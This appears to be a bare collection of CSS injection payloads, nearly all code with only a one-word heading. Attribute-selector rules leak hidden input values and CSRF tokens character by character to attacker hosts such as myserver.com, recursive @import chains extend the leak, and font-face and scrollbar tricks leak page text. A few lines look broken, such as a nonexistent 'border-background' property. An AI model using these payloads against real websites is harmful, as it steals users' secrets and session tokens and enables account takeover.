css injection

How?

	input[name="secret"][value^="a"] {
	background: url(https://myserver.com?q=a)
	}

	input[name="secret"][value^="b"] {
	background: url(https://myserver.com?q=b)
	}

	input[name="secret"][value^="c"] {
	background: url(https://myserver.com?q=c)
	}

	//....

	input[name="secret"][value^="z"] {
	background: url(https://myserver.com?q=z)
	}

	<form action="/action">
	<input type="hidden" name="csrf-token" value="abc123">
	<input name="username">
	<input type="submit">
	</form>

	input[name="csrf-token"][value^="a"] + input {
	background: url(https://example.com?q=a)
	}

	form:has(input[name="csrf-token"][value^="a"]){
	background: url(https://example.com?q=a)
	}

	head, meta {
	display: block;
	}

	meta[name="csrf-token"][content^="a"] {
	background: url(https://example.com?q=a);
	}

	@import url(https://myserver.com/payload?len=1)
	@import url(https://myserver.com/payload?len=2)
	@import url(https://myserver.com/payload?len=3)
	@import url(https://myserver.com/payload?len=4)
	@import url(https://myserver.com/payload?len=5)
	@import url(https://myserver.com/payload?len=6)
	@import url(https://myserver.com/payload?len=7)
	@import url(https://myserver.com/payload?len=8)

	input[name="csrf-token"][value^="a"] {
	background: url(https://example.com?q=a)
	}

	html:has(meta[name="csrf-token"][content^="a"]) {
	background: url(https://example.com?q=a);
	}

	<style>===
	@import url(https://myserver.com/start?len=8)
	</style>

	input[name="secret"][value^="a"] {
	background: url(https://b.myserver.com/leak?q=a)
	}

	input[name="secret"][value^="b"] {
	background: url(https://b.myserver.com/leak?q=b)
	}

	input[name="secret"][value^="c"] {
	background: url(https://b.myserver.com/leak?q=c)
	}

	//....

	input[name="secret"][value^="z"] {
	background: url(https://b.myserver.com/leak?q=z)
	}

	input[name="secret"][value^="da"] {
	background: url(https://b.myserver.com/leak?q=da)
	}

	input[name="secret"][value^="db"] {
	background: url(https://b.myserver.com/leak?q=db)
	}

	input[name="secret"][value^="dc"] {
	background: url(https://b.myserver.com/leak?q=dc)
	}

	//....

	input[name="secret"][value^="dz"] {
	background: url(https://b.myserver.com/leak?q=dz)
	}

	<style>@import url(https://myserver.com/payload?len=1)</style>
	<style>@import url(https://myserver.com/payload?len=2)</style>
	<style>@import url(https://myserver.com/payload?len=3)</style>
	<style>@import url(https://myserver.com/payload?len=4)</style>
	<style>@import url(https://myserver.com/payload?len=5)</style>
	<style>@import url(https://myserver.com/payload?len=6)</style>
	<style>@import url(https://myserver.com/payload?len=7)</style>
	<style>@import url(https://myserver.com/payload?len=8)</style>

	<!DOCTYPE html>
	<html>
	<body>
	<style>
	@font-face {
	font-family: "Ampersand";
	src: local("Times New Roman");
	unicode-range: U+26;
	}

	div {
	font-size: 4em;
	font-family: Ampersand, Helvetica, sans-serif;
	}
	</style>
	<div>Me & You = Us</div>
	</body>
	</html>

	div {
	font-size: 0px;
	height: 40px;
	width: 20px;
	font-family: fc, "Courier New";
	letter-spacing: 0px;
	word-break: break-all;
	overflow-y: auto;
	overflow-x: hidden;
	--leak: url(http://myserver.com?C);
	}

	div::first-line{
	font-size: 30px;
	}

	div::-webkit-scrollbar {
	background: blue;
	}

	div::-webkit-scrollbar:vertical {
	background: var(--leak);
	}

	input[name="secret"][value^="a"] {
	background: url(https://b.myserver.com/leak?q=a)
	}

	input[name="secret"][value^="b"] {
	background: url(https://b.myserver.com/leak?q=b)
	}

	// ...
	input[name="secret"][value$="a"] {
	border-background: url(https://b.myserver2.com/suffix?q=a)
	}

	input[name="secret"][value$="b"] {
	border-background: url(https://b.myserver2.com/suffix?q=b)
	}